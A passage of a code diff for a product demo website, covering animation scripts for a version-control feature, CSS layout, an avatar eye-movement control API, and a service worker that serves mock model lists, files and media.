|
||||
diffView.classList.remove('no-fade');
|
||||
}
|
||||
|
||||
/* 纸上复现新一轮 4 行内容(长短不一):旧行淡出 → 换行宽 → 淡入 */
|
||||
async function refillPaper(r, myGen) {
|
||||
paper.classList.add('is-refilling');
|
||||
await step(300, myGen);
|
||||
lines.forEach(function (l, i) {
|
||||
l.classList.remove('is-new');
|
||||
l.dataset.w = ROUNDS[r].paperW[i];
|
||||
});
|
||||
applyWidths();
|
||||
paper.classList.remove('is-refilling');
|
||||
await step(400, myGen);
|
||||
}
|
||||
|
||||
async function play() {
|
||||
var myGen = ++gen;
|
||||
try {
|
||||
for (var r = 0; r < ROUNDS.length; r++) {
|
||||
// 0) 首轮等待开场;后续轮先展示盒内堆叠片刻,再在纸上复现新内容
|
||||
if (r > 0) {
|
||||
await step(520, myGen);
|
||||
await refillPaper(r, myGen);
|
||||
} else {
|
||||
await step(650, myGen);
|
||||
}
|
||||
|
||||
// 1) 笔飞到纸上,先后改写第 2、3 行;擦旧行时红行 - 飘出,写新行时绿行 + 飘出(diff 实时构建)
|
||||
await rewriteLine(lines[1], ROUNDS[r].edits[0].newW, dlines[0], dlines[1], myGen);
|
||||
await rewriteLine(lines[2], ROUNDS[r].edits[1].newW, dlines[2], dlines[3], myGen);
|
||||
|
||||
// 2) 笔飞回智能体右侧
|
||||
penPos.classList.remove('is-live');
|
||||
nibTo(PEN_HOME.x, PEN_HOME.y, stageRect());
|
||||
await step(500, myGen);
|
||||
|
||||
// 3) 收件箱始终显示(页面加载即在,无淡入步骤)
|
||||
|
||||
// 4) 文件卡片渐变出现(diff 内容直接消失)→ genie 裁切收进盒子(先收最里,再依次向前)
|
||||
var flight = await showFileCover(r, myGen);
|
||||
await genieIntoBox(myGen, r, flight);
|
||||
|
||||
// 5) 为下一轮重建 diff 区(末轮保留收盒终态)
|
||||
if (r < ROUNDS.length - 1) resetDiffForRound(r + 1);
|
||||
}
|
||||
} catch (e) {
|
||||
if (e && e.message !== 'cancelled') throw e;
|
||||
}
|
||||
}
|
||||
|
||||
stage.addEventListener('click', function () {
|
||||
reset();
|
||||
play();
|
||||
});
|
||||
|
||||
applyWidths();
|
||||
penPos.classList.add('is-live'); /* 初始就位瞬移 */
|
||||
nibTo(PEN_HOME.x, PEN_HOME.y, stageRect());
|
||||
void penPos.offsetWidth; /* 强制样式计算后再恢复过渡 */
|
||||
penPos.classList.remove('is-live');
|
||||
play();
|
||||
})();
|
||||
36
demo/site-assets/anim4-demo.css
Normal file
@ -0,0 +1,36 @@
|
||||
/* 版本控制动画 demo 页壳 —— 布局与 token;动画本体样式在 anim-version.css */
|
||||
|
||||
:root {
|
||||
--bg-0: #0c1120;
|
||||
--bg-1: #111830;
|
||||
--bg-panel: #151c31;
|
||||
--text-1: #eef1f8;
|
||||
--text-2: #a7b0c4;
|
||||
--text-3: #6b7488;
|
||||
--line: rgba(168, 180, 210, 0.14);
|
||||
--line-strong: rgba(168, 180, 210, 0.24);
|
||||
--accent: #a9c2f0;
|
||||
--accent-strong: #c1d4f6;
|
||||
--ok: #7ba889;
|
||||
--font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC",
|
||||
"Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif;
|
||||
--font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas, monospace;
|
||||
}
|
||||
|
||||
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||
|
||||
body {
|
||||
font-family: var(--font-sans);
|
||||
background: linear-gradient(180deg, var(--bg-1) 0%, var(--bg-0) 60%);
|
||||
min-height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
color: var(--text-1);
|
||||
}
|
||||
|
||||
.stage { display: flex; flex-direction: column; align-items: center; gap: 18px; }
|
||||
.hint { font-size: 13px; color: var(--text-3); }
|
||||
|
||||
/* demo 页动画宿主:原尺寸 1:1(不缩放) */
|
||||
.anim-host { width: 540px; height: 380px; }
|
||||
@ -65,7 +65,8 @@
|
||||
requestAnimationFrame(step);
|
||||
}
|
||||
|
||||
// —— 全局鼠标追踪(单 rAF 循环驱动所有实例) ——
|
||||
// —— 全局注视驱动(单 rAF 循环驱动所有实例) ——
|
||||
// 每个实例二选一:useMouse 跟随鼠标;或 manual 目标(动画模块用 handle().lookAt 驱动)
|
||||
var tracked = [];
|
||||
var mouse = { x: -9999, y: -9999 };
|
||||
var rafRunning = false;
|
||||
@ -74,16 +75,25 @@
|
||||
for (var i = 0; i < tracked.length; i++) {
|
||||
var inst = tracked[i];
|
||||
if (!document.contains(inst.svg)) { tracked.splice(i--, 1); continue; }
|
||||
var rect = inst.svg.getBoundingClientRect();
|
||||
if (rect.width === 0) continue;
|
||||
var cx = rect.left + rect.width / 2;
|
||||
var cy = rect.top + rect.height / 2;
|
||||
var dx = mouse.x - cx;
|
||||
var dy = mouse.y - cy;
|
||||
var dist = Math.hypot(dx, dy) || 1;
|
||||
var reach = Math.min(dist / TRACK_RANGE, 1) * TRACK_MAX;
|
||||
var tx = (dx / dist) * reach;
|
||||
var ty = (dy / dist) * reach;
|
||||
var tx, ty;
|
||||
if (inst.manual) {
|
||||
tx = inst.manual.x;
|
||||
ty = inst.manual.y;
|
||||
} else if (inst.useMouse) {
|
||||
var rect = inst.svg.getBoundingClientRect();
|
||||
if (rect.width === 0) continue;
|
||||
var cx = rect.left + rect.width / 2;
|
||||
var cy = rect.top + rect.height / 2;
|
||||
var dx = mouse.x - cx;
|
||||
var dy = mouse.y - cy;
|
||||
var dist = Math.hypot(dx, dy) || 1;
|
||||
var reach = Math.min(dist / TRACK_RANGE, 1) * TRACK_MAX;
|
||||
tx = (dx / dist) * reach;
|
||||
ty = (dy / dist) * reach;
|
||||
} else {
|
||||
tx = 0;
|
||||
ty = 0;
|
||||
}
|
||||
inst.cur.x += (tx - inst.cur.x) * TRACK_LERP;
|
||||
inst.cur.y += (ty - inst.cur.y) * TRACK_LERP;
|
||||
inst.eyes.setAttribute(
|
||||
@ -148,12 +158,23 @@
|
||||
})();
|
||||
}
|
||||
|
||||
if (opts.track !== false) {
|
||||
tracked.push({ svg: svg, eyes: eyes, cur: { x: 0, y: 0 } });
|
||||
if (!rafRunning) {
|
||||
rafRunning = true;
|
||||
requestAnimationFrame(trackLoop);
|
||||
}
|
||||
// 所有 idle 实例都注册进驱动循环:useMouse=false 时由 handle().lookAt 手动驱动
|
||||
var inst = {
|
||||
svg: svg,
|
||||
eyes: eyes,
|
||||
eyeL: eyeL,
|
||||
eyeR: eyeR,
|
||||
cur: { x: 0, y: 0 },
|
||||
manual: null,
|
||||
useMouse: opts.track !== false,
|
||||
pathNums: EYE_IDLE.slice(),
|
||||
morphToken: 0
|
||||
};
|
||||
svg._aaInst = inst;
|
||||
tracked.push(inst);
|
||||
if (!rafRunning) {
|
||||
rafRunning = true;
|
||||
requestAnimationFrame(trackLoop);
|
||||
}
|
||||
}
|
||||
|
||||
@ -161,5 +182,69 @@
|
||||
return svg;
|
||||
}
|
||||
|
||||
window.AstrionAvatar = { mount: mount };
|
||||
/* 动画模块用的眼睛控制手柄(仅 idle 模式实例可用):
|
||||
lookAt(dx,dy) 直接给 viewBox 偏移;lookAtPoint(cx,cy) 看向屏幕某点;
|
||||
morphEyesTo(nums,ms) 眼睛形状渐变(困眼/瞪眼);setEyePath 瞬切。 */
|
||||
function handle(svg) {
|
||||
var inst = svg && svg._aaInst;
|
||||
if (!inst) return null;
|
||||
var h = {
|
||||
lookAt: function (dx, dy) {
|
||||
var m = Math.hypot(dx, dy);
|
||||
if (m > TRACK_MAX) { dx = (dx / m) * TRACK_MAX; dy = (dy / m) * TRACK_MAX; }
|
||||
inst.manual = { x: dx, y: dy };
|
||||
},
|
||||
lookAtPoint: function (clientX, clientY) {
|
||||
var rect = inst.svg.getBoundingClientRect();
|
||||
if (rect.width === 0) return;
|
||||
var cx = rect.left + rect.width / 2;
|
||||
var cy = rect.top + rect.height / 2;
|
||||
var dx = (clientX - cx) / (rect.width / 200);
|
||||
var dy = (clientY - cy) / (rect.height / 200);
|
||||
var d = Math.hypot(dx, dy) || 1;
|
||||
var s = Math.min(d / 60, 1); /* 60 个 viewBox 单位外达到最大注视 */
|
||||
h.lookAt((dx / d) * TRACK_MAX * s, (dy / d) * TRACK_MAX * s);
|
||||
},
|
||||
releaseLook: function () { inst.manual = null; },
|
||||
setEyePath: function (nums) {
|
||||
inst.morphToken++;
|
||||
inst.pathNums = nums.slice();
|
||||
var d = eyePathD(nums);
|
||||
inst.eyeL.setAttribute('d', d);
|
||||
inst.eyeR.setAttribute('d', d);
|
||||
},
|
||||
morphEyesTo: function (nums, ms, done) {
|
||||
var token = ++inst.morphToken;
|
||||
var from = inst.pathNums.slice();
|
||||
var start = null;
|
||||
function stepFn(ts) {
|
||||
if (token !== inst.morphToken) return; /* 被更新的 morph 接管,静默退出 */
|
||||
if (!start) start = ts;
|
||||
var t = Math.min((ts - start) / ms, 1);
|
||||
var e = t < 0.5 ? 2 * t * t : 1 - Math.pow(-2 * t + 2, 2) / 2;
|
||||
var cur = from.map(function (v, i) { return v + (nums[i] - v) * e; });
|
||||
var d = eyePathD(cur);
|
||||
inst.eyeL.setAttribute('d', d);
|
||||
inst.eyeR.setAttribute('d', d);
|
||||
if (t < 1) requestAnimationFrame(stepFn);
|
||||
else { inst.pathNums = nums.slice(); if (done) done(); }
|
||||
}
|
||||
requestAnimationFrame(stepFn);
|
||||
}
|
||||
};
|
||||
return h;
|
||||
}
|
||||
|
||||
/* 由 IDLE 眼睛派生缩放版本(困=缩短,瞪=加长):只缩放 y 分量(x 分量全为 0) */
|
||||
function eyeScale(k) {
|
||||
return EYE_IDLE.map(function (v, i) { return i % 2 ? v * k : v; });
|
||||
}
|
||||
|
||||
window.AstrionAvatar = {
|
||||
mount: mount,
|
||||
handle: handle,
|
||||
eyeScale: eyeScale,
|
||||
EYE_IDLE: EYE_IDLE,
|
||||
EYE_BLINK: EYE_BLINK
|
||||
};
|
||||
})();
|
||||
|
||||
@ -284,10 +284,11 @@ code {
|
||||
}
|
||||
.feature-row:last-child { border-bottom: 1px solid var(--line); }
|
||||
|
||||
/* 带动画的行:左文右动画 */
|
||||
/* 带动画的行:左文右动画。动画列给足 540(03/04 舞台逻辑宽)→ 舞台 curScale=1 不缩放,
|
||||
三个动画的智能体渲染尺寸一致 */
|
||||
.feature-row--anim {
|
||||
display: grid;
|
||||
grid-template-columns: minmax(0, 1fr) minmax(0, 460px);
|
||||
grid-template-columns: minmax(0, 1fr) minmax(0, 540px);
|
||||
gap: clamp(32px, 6vw, 80px);
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
@ -273,4 +273,16 @@
|
||||
if (window.AnimSandbox && document.getElementById('animSandbox')) {
|
||||
AnimSandbox.init(document.getElementById('animSandbox'));
|
||||
}
|
||||
|
||||
/* ═══════════ 8) 修改记录动画(功能 03 行) ═══════════ */
|
||||
|
||||
if (window.AnimRecords && document.getElementById('animRecords')) {
|
||||
AnimRecords.init(document.getElementById('animRecords'));
|
||||
}
|
||||
|
||||
/* ═══════════ 9) 版本控制动画(功能 04 行) ═══════════ */
|
||||
|
||||
if (window.AnimVersion && document.getElementById('animVersion')) {
|
||||
AnimVersion.init(document.getElementById('animVersion'));
|
||||
}
|
||||
})();
|
||||
|
||||
51
demo/sw.js
@ -8,16 +8,34 @@
|
||||
*/
|
||||
|
||||
const DEMO_PAGE = '/demo.html';
|
||||
const CACHE = 'astrion-demo-v4';
|
||||
const CACHE = 'astrion-demo-v5';
|
||||
|
||||
/* ── 静态响应体 ── */
|
||||
|
||||
const MODELS = {
|
||||
items: [
|
||||
{
|
||||
context_window: 256000, description: 'Kimi-K3', fast_only: false,
|
||||
max_output_tokens: 32768, model_key: 'Kimi-K3', multimodal: 'image,video',
|
||||
name: 'Kimi-K3', supports_reasoning_effort: false, supports_thinking: true,
|
||||
context_window: 1048576, description: 'Kimi K3,月之暗面最新旗舰模型', fast_only: false,
|
||||
max_output_tokens: 64000, model_key: 'Kimi-K3', multimodal: 'image,video',
|
||||
name: 'Kimi-K3', supports_reasoning_effort: true, supports_thinking: true,
|
||||
thinking_only: false, visible: true
|
||||
},
|
||||
{
|
||||
context_window: 1000000, description: 'DeepSeek V4 Flash,快速高效的通用模型', fast_only: false,
|
||||
max_output_tokens: 384000, model_key: 'DeepSeek-V4-Flash', multimodal: 'none',
|
||||
name: 'DeepSeek-V4-Flash', supports_reasoning_effort: true, supports_thinking: true,
|
||||
thinking_only: false, visible: true
|
||||
},
|
||||
{
|
||||
context_window: 1000000, description: 'MiniMax M3,MiniMax最新旗舰模型', fast_only: false,
|
||||
max_output_tokens: 131072, model_key: 'MiniMax-M3', multimodal: 'none',
|
||||
name: 'MiniMax-M3', supports_reasoning_effort: false, supports_thinking: true,
|
||||
thinking_only: false, visible: true
|
||||
},
|
||||
{
|
||||
context_window: 262144, description: 'GLM 5.2,智谱旗舰文本模型', fast_only: false,
|
||||
max_output_tokens: 64072, model_key: 'GLM-5.2', multimodal: 'none',
|
||||
name: 'GLM-5.2', supports_reasoning_effort: true, supports_thinking: true,
|
||||
thinking_only: false, visible: true
|
||||
}
|
||||
]
|
||||
@ -157,14 +175,37 @@ async function routeApi(url) {
|
||||
if (p === '/api/todo-list') return json({ success: true, data: null });
|
||||
if (p === '/api/background_commands') return json({ success: true, data: [] });
|
||||
|
||||
// 文件预览(快捷窗口点文件名):返回真实调研报告内容
|
||||
// 文件预览/下载(对话内文件卡片、下载链接)
|
||||
if (p === '/api/file/content') {
|
||||
const name = (url.searchParams.get('path') || '').split('/').pop();
|
||||
// 二进制/富文本资源放 mock/files/(按扩展名给 MIME)
|
||||
const ext = (name.split('.').pop() || '').toLowerCase();
|
||||
const MIME = {
|
||||
pdf: 'application/pdf',
|
||||
docx: 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
|
||||
html: 'text/html; charset=utf-8',
|
||||
png: 'image/png',
|
||||
jpg: 'image/jpeg',
|
||||
};
|
||||
if (MIME[ext]) {
|
||||
const rb = await fetch(`/mock/files/${name}`);
|
||||
if (rb.ok) return new Response(await rb.arrayBuffer(), { headers: { 'Content-Type': MIME[ext] } });
|
||||
}
|
||||
// 文本资源(mock/file-*)
|
||||
const r = await fetch(`/mock/file-${name}`);
|
||||
if (r.ok) return new Response(await r.text(), { headers: { 'Content-Type': 'text/plain; charset=utf-8' } });
|
||||
return new Response('演示环境没有该文件', { status: 404 });
|
||||
}
|
||||
|
||||
// 消息内嵌媒体(view_image 截图等):mock/media/{sha}.png
|
||||
const mediaMatch = p.match(/^\/api\/conversations\/media\/(.+)$/);
|
||||
if (mediaMatch) {
|
||||
const id = decodeURIComponent(mediaMatch[1]).replace(/^sha256:/, '');
|
||||
const r = await fetch(`/mock/media/${id}.png`);
|
||||
if (r.ok) return new Response(await r.arrayBuffer(), { headers: { 'Content-Type': 'image/png' } });
|
||||
return new Response('演示环境没有该媒体', { status: 404 });
|
||||
}
|
||||
|
||||
// 对话 bootstrap
|
||||
const bootMatch = p.match(/^\/api\/conversations\/(conv_[\w-]+)\/bootstrap$/);
|
||||
if (bootMatch) {
|
||||
|
||||